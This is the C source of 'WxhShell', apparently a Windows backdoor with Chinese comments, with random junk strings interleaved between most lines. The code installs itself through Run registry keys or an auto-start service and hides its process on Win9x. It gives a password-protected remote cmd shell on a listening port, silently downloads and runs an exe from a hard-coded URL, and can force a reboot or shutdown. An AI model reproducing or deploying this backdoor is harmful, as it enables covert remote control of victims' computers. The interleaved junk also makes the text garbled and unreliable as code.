V1: ULONG UniqueProcessId; _V.MmA ULONG InheritedFromUniqueProcessId; IzuYkl} } PROCESS_BASIC_INFORMATION; 8(6(,WwP} a7]wPXKq PROCNTQSIP NtQueryInformationProcess; nRE(RbRe .qN|.:6a static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s9Tp(Yr,k static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ""; Bq*Y# .~nk'm HANDLE hProcess; _5t~g_(1OK PROCESS_BASIC_INFORMATION pbi; +;T `uOF} \W,,@- HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bPlqS+ai_ if(NULL == hInst ) return 0; !nBE[& i-<1M|f g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oc^j<!Rh g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'P:u/Sq?m NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i7%v2_ B2R^oL'} if (!NtQueryInformationProcess) return 0; uIvAmc4 1(q&(p hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z8Jrt3l{2 if(!hProcess) return 0; >!U oS `GBa3 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '4"9f]: `X:o]t@ CloseHandle(hProcess); UdiogXZ (uxe<'Co| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2`[iTBZ=^ if(hProcess==NULL) return 0; ~l^Q~W-+ BidTrO HMODULE hMod; y^*o%2/ char procName[255]; t1Zcr#b> unsigned long cbNeeded; ~YH'&L.O zc`gm~@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -J06H&/k 1Z h4)6x CloseHandle(hProcess); H;~Lv;,g, |#Gug(' if(strstr(procName,"services")) return 1; // 以服务启动 H,{WrWA B%.vEk)* return 0; // 注册表启动 G[bWjw86O } }%T8?d] C-}@.wr( // 主模块 x}tg/`.=z int StartWxhshell(LPSTR lpCmdLine) ~OE1Sd:2 { jQ"z\}Wf SOCKET wsl; _ddOsg|U BOOL val=TRUE; a(eKb2 CX int port=0; \Fs+H,S< struct sockaddr_in door; LwI A4$d O-=~Bn
_ if(wscfg.ws_autoins) Install(); \C&[BQ\ OpNxd]"T port=atoi(lpCmdLine); DO^J=e GBvgVX< if(port<=0) port=wscfg.ws_port; eXYf"hU, TdCC,/c3 WSADATA data; B1U<m=Y if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QMz6syn4u vg"$&YX9" if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Zw`9B setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \se
/2l door.sin_family = AF_INET; #H5i$ o door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fmd^9K door.sin_port = htons(port); !1b4q/ ?=dp]E{ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MB!_G[R
closesocket(wsl); [wO|P{8\" return 1; na4^>:r~ } u^ 3,~:E JQ~[$OGH if(listen(wsl,2) == INVALID_SOCKET) { 6z'3e\x closesocket(wsl); SZ&I4- return 1; 7:S4 Ur } og~Uv"&?T Wxhshell(wsl); Po1/_#mu WSACleanup(); 0XWhSrHM mH,L,3R;R return 0; JS^QfT,zE l} =@9A@ } v\3
\n3[u ,8`CsY^1 // 以NT服务方式启动 ;S5J"1)O~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +@"Ls P { e*!0|#- DWORD status = 0; 0^m`jD DWORD specificError = 0xfffffff; H5)8TR3La (oxMBd+n1 serviceStatus.dwServiceType = SERVICE_WIN32; Tp[-,3L serviceStatus.dwCurrentState = SERVICE_START_PENDING; z#|tcHVFT serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G &QG Q serviceStatus.dwWin32ExitCode = 0; /7CV7=^d, serviceStatus.dwServiceSpecificExitCode = 0; G(fS__z serviceStatus.dwCheckPoint = 0; b3M`vJ+{ serviceStatus.dwWaitHint = 0; ?nCo?A w2(pgWed hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^Mm sja5K if (hServiceStatusHandle==0) return; a`*Dq"9pV 579<[[6~d2 status = GetLastError(); '~\\:37+ if (status!=NO_ERROR) &*YFK/ ] { 2e<u/M21> serviceStatus.dwCurrentState = SERVICE_STOPPED; y7ZYo7avg serviceStatus.dwCheckPoint = 0; 4c'F.0^ serviceStatus.dwWaitHint = 0; i!i=6m.q7 serviceStatus.dwWin32ExitCode = status; \5pBK serviceStatus.dwServiceSpecificExitCode = specificError; TZ+- >CG SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q^{XM return; 7@NV|Idtd } /Pyj|!C3`q .dO8I/lhV serviceStatus.dwCurrentState = SERVICE_RUNNING; NW4tQ;ad serviceStatus.dwCheckPoint = 0; t[4V1: serviceStatus.dwWaitHint = 0; $l=& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R8%%EEB } Rh,a4n?W 'o]kOp@q // 处理NT服务事件,比如:启动、停止 @9e}kiW VOID WINAPI NTServiceHandler(DWORD fdwControl) xa[)fk$6 { _C54l switch(fdwControl) !Pc&Sg { Wi+}qO case SERVICE_CONTROL_STOP: F^Y%Q(Dd7w serviceStatus.dwWin32ExitCode = 0; eq6>C7.$ serviceStatus.dwCurrentState = SERVICE_STOPPED; VxAG=E serviceStatus.dwCheckPoint = 0; kQw%Wpuq[/ serviceStatus.dwWaitHint = 0; yBl9 a-2A { [e f&|Pi- SetServiceStatus(hServiceStatusHandle, &serviceStatus); ''?iJFR } ^:u-wr8?{ return; :LxsiDrF[ case SERVICE_CONTROL_PAUSE: EpCF/i?9: serviceStatus.dwCurrentState = SERVICE_PAUSED; P\ia ?9 break; j_{f(.5 case SERVICE_CONTROL_CONTINUE:
qHl>d*IZ
serviceStatus.dwCurrentState = SERVICE_RUNNING; r]=Z : break; =oT4!OUf case SERVICE_CONTROL_INTERROGATE: qx1+' break; ^e{]WH? }; zhgvqg- SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ OW.?1d } ^ u:bgwP _lBHZJ+ // 标准应用程序主函数 hlBMRx49 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }Y!v"DO#Q* { \k9]c3V <%N*IE"q // 获取操作系统版本 n/ZX$?tKAK OsIsNt=GetOsVer(); < #zd]t GetModuleFileName(NULL,ExeFile,MAX_PATH); u10;qYfL8o !Bv.@~ // 从命令行安装 +yI2G!
$T9 if(strpbrk(lpCmdLine,"iI")) Install(); @+7CfvM ~5>k_\G8 // 下载执行文件 T"/dn%21 if(wscfg.ws_downexe) { ] B?NDxU if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v|R#[vtFd WinExec(wscfg.ws_filenam,SW_HIDE); 8bdx$,$k } Ei4Iv#Oi` V<ii if(!OsIsNt) { ^6QzaC3 // 如果时win9x,隐藏进程并且设置为注册表启动 `b KJ HideProc(); KU^|T2s% StartWxhshell(lpCmdLine); :{s0tw>Z } yioX^`Fc(~ else )4R[C={ if(StartFromService()) *M-'R*Np // 以服务方式启动 D]twid~OS StartServiceCtrlDispatcher(DispatchTable); K]&i9`>N else }Ud'j'QMy // 普通方式启动 Ce/D[% StartWxhshell(lpCmdLine); "$.B@[iY@ [0!*<%BgK' return 0; kjF4c6v } ?=,7'@e 3Mq%3jX 'iU+mRLp '?Xf(6o1 =========================================== ^fj30gw7\5 A_Y5{6@ XzBlT( `w #sE:xIR #y
f &ZL4/e " aA]wFZ :W#?U yo #include <stdio.h> D
`av9I #include <string.h> L;=3n[^x #include <windows.h> >avkiT2 #include <winsock2.h> X]_9g[V #include <winsvc.h> Gi\Z"MiBZ #include <urlmon.h> SB`xr!~A] Y,?kS
dS #pragma comment (lib, "Ws2_32.lib") d~q7! #pragma comment (lib, "urlmon.lib") (6i4N2 ?u5jXJ0L #define MAX_USER 100 // 最大客户端连接数 u%5 ,U- #define BUF_SOCK 200 // sock buffer \A6}= #define KEY_BUFF 255 // 输入 buffer _BoA&Ism ]:}7-;$V #define REBOOT 0 // 重启 iD<}r?Z #define SHUTDOWN 1 // 关机 %@8#+#@J0 p}e| E! #define DEF_PORT 5000 // 监听端口 1'H!S%fS QT=i>X #define REG_LEN 16 // 注册表键长度 G!Yt.M0 #define SVC_LEN 80 // NT服务名长度 M5P3; o$ #q/L // 从dll定义API t$b5,"G1 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <Y"HCa{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U,8mYv2| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BKV:U\QZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6]mAtA`Y d4) 0G-| // wxhshell配置信息 l=L(pS3 ~ struct WSCFG { H`,t "I int ws_port; // 监听端口 U|b)Bw<P char ws_passstr[REG_LEN]; // 口令 }}l jVUpC% int ws_autoins; // 安装标记, 1=yes 0=no s^k<r;'\ char ws_regname[REG_LEN]; // 注册表键名 .LGA0 char ws_svcname[REG_LEN]; // 服务名 xyHv7u%* char ws_svcdisp[SVC_LEN]; // 服务显示名 z'*{V\ char ws_svcdesc[SVC_LEN]; // 服务描述信息 \wR\i^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bc;?O`I< int ws_downexe; // 下载执行标记, 1=yes 0=no o*3\xg char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kG5Uc83#G char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "-\8Y>E o wwWm1@ }; 5lyHg{iqD I|Mw*2U // default Wxhshell configuration qfRrX" struct WSCFG wscfg={DEF_PORT, .*Z#;3 "xuhuanlingzhe", .EC~o 1, Y?-Ef
sK "Wxhshell", !$#5E1:\ "Wxhshell", >>cL"m "WxhShell Service", n] t3d "Wrsky Windows CmdShell Service", LP/SblE "Please Input Your Password: ", a*t>Ks'C 1, ZiRCiQ/? "http://www.wrsky.com/wxhshell.exe", D~M*]& "Wxhshell.exe" |E;+j\ }; 0U !&|i\ -j@IDd7 // 消息定义模块 ^])s\a$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \odns char *msg_ws_prompt="\n\r? for help\n\r#>"; $~\Tl:!#? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'Er\68 char *msg_ws_ext="\n\rExit."; wh!8\9{g char *msg_ws_end="\n\rQuit."; ZZ/k7(8 char *msg_ws_boot="\n\rReboot..."; Y~w1_>b char *msg_ws_poff="\n\rShutdown..."; :
@$5M char *msg_ws_down="\n\rSave to "; $LG.rJ/* N,.awA{ char *msg_ws_err="\n\rErr!"; .HRd6O; char *msg_ws_ok="\n\rOK!"; iBmvy7S? 8"A0@fNz char ExeFile[MAX_PATH]; 9i
D&y)$" int nUser = 0; v^;vH$B HANDLE handles[MAX_USER]; ..w$p-1 int OsIsNt; "
t?44[ {1+meE SERVICE_STATUS serviceStatus; ":qS9vW SERVICE_STATUS_HANDLE hServiceStatusHandle; }h* j{b, QU(Lv(/O // 函数声明 b`ksTO`}x int Install(void); HZjuL.Tj int Uninstall(void); `R!2N4|; int DownloadFile(char *sURL, SOCKET wsh); FEX67A8/; int Boot(int flag); ;9q$eK%d void HideProc(void); /O`R9+; int GetOsVer(void); MO|Pv j~[ int Wxhshell(SOCKET wsl); ,@I\'os void TalkWithClient(void *cs); GIfs]zVr` int CmdShell(SOCKET sock); Z-yoJZi int StartFromService(void); 5kA D vi. int StartWxhshell(LPSTR lpCmdLine); 5DO}&%.xt Vy^mEsQC+h VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1:_}`x=hM VOID WINAPI NTServiceHandler( DWORD fdwControl ); D
|fo:Xp, Vt-V'`Y // 数据结构和表定义 eu?P6>urA SERVICE_TABLE_ENTRY DispatchTable[] = [{#n?BT { ~M1T
@Mv {wscfg.ws_svcname, NTServiceMain}, HGi%b5:<=M {NULL, NULL} t3C#$> }; q^7=/d8 9$}>O] // 自我安装 y<#Hq1 int Install(void) ;F"Tu { GaV OMT char svExeFile[MAX_PATH]; ~}SQLYy7Z HKEY key; 2/Y e<.# strcpy(svExeFile,ExeFile); (cI@#x !1@oZ( // 如果是win9x系统,修改注册表设为自启动 c(Fo-4K if(!OsIsNt) { lE!.$L*k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
OAEa+V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mc,p]{<<AV RegCloseKey(key); b,'rz04^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QUg<~q)Oq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hl*#iUq RegCloseKey(key); lTFo#p_( return 0; "{d[V(lE" } [4@@b"H } $$*0bRfd4= } G^SDB!/@J else { )bpdj, AgB$
w4 // 如果是NT以上系统,安装为系统服务 <y"lL>JR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); - s2Yhf if (schSCManager!=0) ;=@?( n { " LhXR SC_HANDLE schService = CreateService AJ6O>Euq ( l1%*LyD schSCManager, ZmI#-[/ wscfg.ws_svcname, 9WHarv2 @ wscfg.ws_svcdisp, 3E>]6 SERVICE_ALL_ACCESS, [|YJg]i- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H>"P]Y)oX SERVICE_AUTO_START, wy:euKB~
SERVICE_ERROR_NORMAL, ?ZkVk =t? svExeFile, `8TL*.9 NULL, E~8J<gE NULL, z5sKV7&\[n NULL, -qLNs_
_k NULL, %6Y}0>gY NULL @[n%q.|VB ); EJJ&`,q if (schService!=0) B*^QTJ { %;J$ h^ CloseServiceHandle(schService); N]GF>kf: CloseServiceHandle(schSCManager); 5"+;}E|q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dbF9%I@ strcat(svExeFile,wscfg.ws_svcname); 5j _[z|W2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J`wx72/-ZW RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U;gy4rj RegCloseKey(key); k_Lv\'Ok return 0; \tdYTb. } '[bw7T } "tj]mij2)G CloseServiceHandle(schSCManager); [.;8GMW } cl M6R } -&QpQ7q1 h9~oS/%: return 1; ;:bnLSPo } $us7fuKE C.se/\PE // 自我卸载 mk6>}z* int Uninstall(void) <u { ~Q=^YZgn8 HKEY key; :K!L-*>A9 (&/~q:a> if(!OsIsNt) { 2 ,.8oa( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4*UKR!sr RegDeleteValue(key,wscfg.ws_regname); ,ZnL38GW RegCloseKey(key); Su'l &]
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0 Gq<APtr RegDeleteValue(key,wscfg.ws_regname); lW]&a"1$ RegCloseKey(key); <V#]3$(S return 0; ETfoL.d$( } 5L\Im^ } ,@Elw>^ } 5g 2:o^ else { B<,AI7 _~!c%_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^5-SL?E if (schSCManager!=0) 0EC/l
OS { rwAycW7 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rP}0B/ if (schService!=0) KoFWI_(b { -V||1@
| if(DeleteService(schService)!=0) { .?r}3Ch CloseServiceHandle(schService); q)tNH/ CloseServiceHandle(schSCManager); DF"*[]^[ return 0; @$?*UI6y } =Unu>p}2V CloseServiceHandle(schService); Wk]E6yz6 } t>"|~T$9 CloseServiceHandle(schSCManager); w.Go]dpK } ' h|d-p\`9 } EL9JM}%0v kyUG+M return 1; 4n2*2
yTg } =n MAw&` 'Y>@t6E4 // 从指定url下载文件 q}J Eesf int DownloadFile(char *sURL, SOCKET wsh) w-``kID { IVG77+O# } HRESULT hr; 4HyD=6V# char seps[]= "/"; 3:gF4(. char *token; hj3wxH.} char *file; m>'#664q1 char myURL[MAX_PATH]; !]#;' char myFILE[MAX_PATH]; +kOXa^K Gk<6+.c~ strcpy(myURL,sURL); u:\DqdlU` token=strtok(myURL,seps); *GM.2``e while(token!=NULL) <*djtO { [S[@ Q[zP@ file=token; %eE 6\f%g token=strtok(NULL,seps); 2B]mD-~ } a8Z{-=) M}9PicI?7 GetCurrentDirectory(MAX_PATH,myFILE); c nV2}U/\ strcat(myFILE, "\\"); :"Kr-Hm` strcat(myFILE, file); 6/L34VH send(wsh,myFILE,strlen(myFILE),0); Bet?]4\_ send(wsh,"...",3,0); }zHG]k,j hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =2, iNn if(hr==S_OK) ef
-PlGn return 0; ~
6Hi"w else ~01Fp;L/ return 1; ((]Sy,rdk :Pi=" } 5=P*<Dnj MrpT5|t // 系统电源模块 =' #yG(h int Boot(int flag) Z<$y)bf { rFYw6&;vOi HANDLE hToken; }%k3 TOKEN_PRIVILEGES tkp; ~.8p8\H CWM_J9f if(OsIsNt) { 66Xo3o OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z4*`K4W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *`bAu * tkp.PrivilegeCount = 1; +:m' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !"N-To-c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "TePO7^m if(flag==REBOOT) { %8T"h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w:o,mzuXK return 0; hIMD2 } i@STo7= else { h$q=NTV if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aak[U;rx return 0; .wz.Jr`{ } by0M(h } @j?)uJ0Q else { 2 1]87$ if(flag==REBOOT) { RS[>7-9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cSs??i
D"q return 0; YVB\9{H? } tu0agSpU else { SFx|9$hXm if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T_b$8GYfCY return 0; l<=Y.P_2 } 8.4+4Vxh } O%?d0K \dw*yZ^ return 1; D "9Hv3 } .3yxg}E>{ Q7@.WG5 // win9x进程隐藏模块 a}MSA/K( void HideProc(void) COk;z.Kn { U 4ELlxGe h#!u"'JW HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V8{5 y
<Y> if ( hKernel != NULL ) Km9Y_`? { aL%amL6CX pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #^~[\8v> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^+20e3 ~Y FreeLibrary(hKernel); z}:|is)? } W4~:3Sk ;.4A,7w# return; uNSbAw3 } wa*/Am9;~ i-`n5, // 获取操作系统版本 qFD#D_O6 int GetOsVer(void) =Vm"2g,aA { E
Z}c8b OSVERSIONINFO winfo; 8DsXw@o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ToWtltCD GetVersionEx(&winfo); >u:t2DxE if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZfYva(zP{Q return 1; |nFg"W else d!i#@XZ^ return 0; 05cyWg9a } v9qgfdBS5 xF4>D!T%8 // 客户端句柄模块 6cV -iDOH int Wxhshell(SOCKET wsl) N5%zbfKM { Qwm#6{5 SOCKET wsh; "V;5Lp b struct sockaddr_in client; }(/")i4h DWORD myID; &(]@L\A {T0f]]}Q while(nUser<MAX_USER) '9Hah { [8o!X) int nSize=sizeof(client); ^gK8
u]> wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ` 5.PPI\h2 if(wsh==INVALID_SOCKET) return 1; "XEKoeG{ lbCTc,xT handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2$MIA?A"Y if(handles[nUser]==0) P sLMV:O9S closesocket(wsh); _'yN4>=6u else $H9+>Z0( nUser++; wm$1LZ8o-` } $cxulcay= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5gPcsn"D $
{iV]Xt return 0; B4yC"55 } Tw!]N%E &3SQVOW ~T // 关闭 socket r
pv`% void CloseIt(SOCKET wsh) SOq{`~,4B { J 5Nz< closesocket(wsh); Yy$GfjJtL] nUser--; y7;i4::A\ ExitThread(0); nty^De% } "QWF&-kAI "gcHcboU5$ // 客户端请求句柄 aIrQ=} void TalkWithClient(void *cs) kIb)I(n { cK;,=\ BrdHTk= Vy SOCKET wsh=(SOCKET)cs; L"w% ew char pwd[SVC_LEN]; 1e 8J-Nkj char cmd[KEY_BUFF]; Hl,.6>F? char chr[1]; ;\F3~rl int i,j; =@ '>|-w| 6^vMJ82U while (nUser < MAX_USER) { s&<6{AU(id \
2$nFr?0 if(wscfg.ws_passstr) { hPs7mnSW if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /AJ#ngXz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y#4f^J!V //ZeroMemory(pwd,KEY_BUFF); K0|8h!WF+ i=0; ?R
4sH while(i<SVC_LEN) { }r}$8M+1 7~2b4"& // 设置超时 As&=Pb9 fd_set FdRead; tevB2'3^ struct timeval TimeOut; (v11;k dJB FD_ZERO(&FdRead); z|w@eQ", FD_SET(wsh,&FdRead); kZ&|.q1zki TimeOut.tv_sec=8; ~i)m(65: TimeOut.tv_usec=0; J}Q4.1WG$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n+C]&6-b if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,_STt) (;f7/2~` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?-40bb pwd=chr[0]; ^BDM' if(chr[0]==0xd || chr[0]==0xa) { O5:?nD pwd=0; ]bjXbbHd break; > 3<P^-9L } -8j<`(M'5 i++; E\3fL"lM } AqPE.mf zh5$$*\
// 如果是非法用户,关闭 socket 2E
V
M*^A if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5Ocd2T' } /%E l0X $$UMc-Pq send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZG=B'4W send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9ghZLQ qTbY'V5A while(1) { >Oary BXNt@% ZeroMemory(cmd,KEY_BUFF); !$ $|zB% XkB^.[B // 自动支持客户端 telnet标准 ]_cBd)3P} j=0; Ix+===6 while(j<KEY_BUFF) { $U,`M" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h8IjTd]z{$ cmd[j]=chr[0]; mI55vNyer if(chr[0]==0xa || chr[0]==0xd) { KfC8~{O- cmd[j]=0; a&>Tk% break; z93HTy9 } ZTCzD8 j++; JNQiCK,)}M } K<@gU\-! bFivHms // 下载文件 ,vfi]_PK if(strstr(cmd,"http://")) { h@{U>U7 send(wsh,msg_ws_down,strlen(msg_ws_down),0); f tVA if(DownloadFile(cmd,wsh)) ]= 2wQ8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); RX-qL,dc else Ri$wt.b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d/Q}I[J.u } ]LF Y2w< else { [emUyF .C
avb switch(cmd[0]) { HGuY-f K6#9HF'2I // 帮助 =NyN.^bwT case '?': { C-@ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7U#`^Q} break; y %dUry%> } `aY{$>$S // 安装 w(w%~;\kLP case 'i': { eySV -f{ if(Install()) p fj%AP: send(wsh,msg_ws_err,strlen(msg_ws_err),0); <V P@# else 3y!yz3E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AXBv']Y break; 65FdA-4 } rbP"
n)0= // 卸载 ([loWr}QR case 'r': { )|>LSKTEl if(Uninstall()) D#>+]}5@x send(wsh,msg_ws_err,strlen(msg_ws_err),0); m?;aTSa else S>~QuCMY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;IhkGPpWP break; h.Cr;w,2R } *uYnu|UQH // 显示 wxhshell 所在路径
&I8,<(` case 'p': { F{*S}&q*)o char svExeFile[MAX_PATH]; *&X. strcpy(svExeFile,"\n\r"); u@SE)qg strcat(svExeFile,ExeFile); Q1qf'u send(wsh,svExeFile,strlen(svExeFile),0); 846j<fE break; xwxMVp`|o } C3fSSa%b // 重启 ,RFcR[ak case 'b': { wAE,mw send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]Xcqf9k if(Boot(REBOOT)) 1-@.[VI send(wsh,msg_ws_err,strlen(msg_ws_err),0); D$k40Mz else { x1)G!i closesocket(wsh); Dx/!^L02 ExitThread(0); M70X dn } 6,'v
/A- break; }?B=R#5 } T2#
W=P // 关机 gvYib`# case 'd': { gx&BzODPd0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YIA}F1: if(Boot(SHUTDOWN)) gO-C[j/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sc
"J5^ else { =p>"PqJ/7n closesocket(wsh); <:yB4t3H+q ExitThread(0); 6L~@jg~0A[ } <Gzy*1Q& break; uAT01ZEm } 0A[p3xE\ // 获取shell X ^>o/U case 's': { xKKL4ws CmdShell(wsh); o[*</A
} closesocket(wsh); sqHvrI ExitThread(0); >jAr9Blz] break;
GqhnE> } 8Dpf{9Y-E // 退出 ]B0>r^ case 'x': { ^z3-$98=A send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NLM ]KT CloseIt(wsh); _)Uw-vhQiT break; $DW3H1iW } J=67As // 离开 }.|\<8_ case 'q': { u4B, |_MK send(wsh,msg_ws_end,strlen(msg_ws_end),0); >x)YdgJ* closesocket(wsh); BR\%aU$u WSACleanup(); %[ 4/UD=7 exit(1); eN{[T
PPCq break; .z+?b8Q\ } UiS9uGj } w.J[3m/ }
qEKTSet? S{j|("W"[ // 提示信息 _Jj/"? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PRl\W:_t } ` =dD6r } 2;%DE<Z b].:2 return; ?GU/Rf!H# } 'P}"ZHW Mm-FdP
m // shell模块句柄 N+l~r]: & int CmdShell(SOCKET sock) &'Qz { lDV8< STARTUPINFO si; MQE=8\
ZeroMemory(&si,sizeof(si)); Pca~V>Hd si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lO8.Q"mxo si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wKum{X8 PROCESS_INFORMATION ProcessInfo; (.P;VH9R\ char cmdline[]="cmd"; y?<[g;MuT CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %0INtq return 0; #h ;j2 } IGT~@); 5. :To2 // 自身启动模式 L@S"c
( int StartFromService(void)
\8Mkb]QA { [V{JuG;s typedef struct K7<'4i~k { :7Rs$
-*Uk DWORD ExitStatus; {b^naE DWORD PebBaseAddress; BzF.KCScs DWORD AffinityMask; K%qunjv DWORD BasePriority; <?52Svi}} ULONG UniqueProcessId; /OgXNIl] ULONG InheritedFromUniqueProcessId; a%tm[Re } PROCESS_BASIC_INFORMATION; ,.]e~O4R Sn.I
]:l PROCNTQSIP NtQueryInformationProcess; dVVeH\o _|DP static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &Xe r#6~ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I.R3?+tZ
:m5&
i& HANDLE hProcess; rZu_"bcJ PROCESS_BASIC_INFORMATION pbi; D\(,:_ge ="@W)"r HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q+mMpI if(NULL == hInst ) return 0; #H
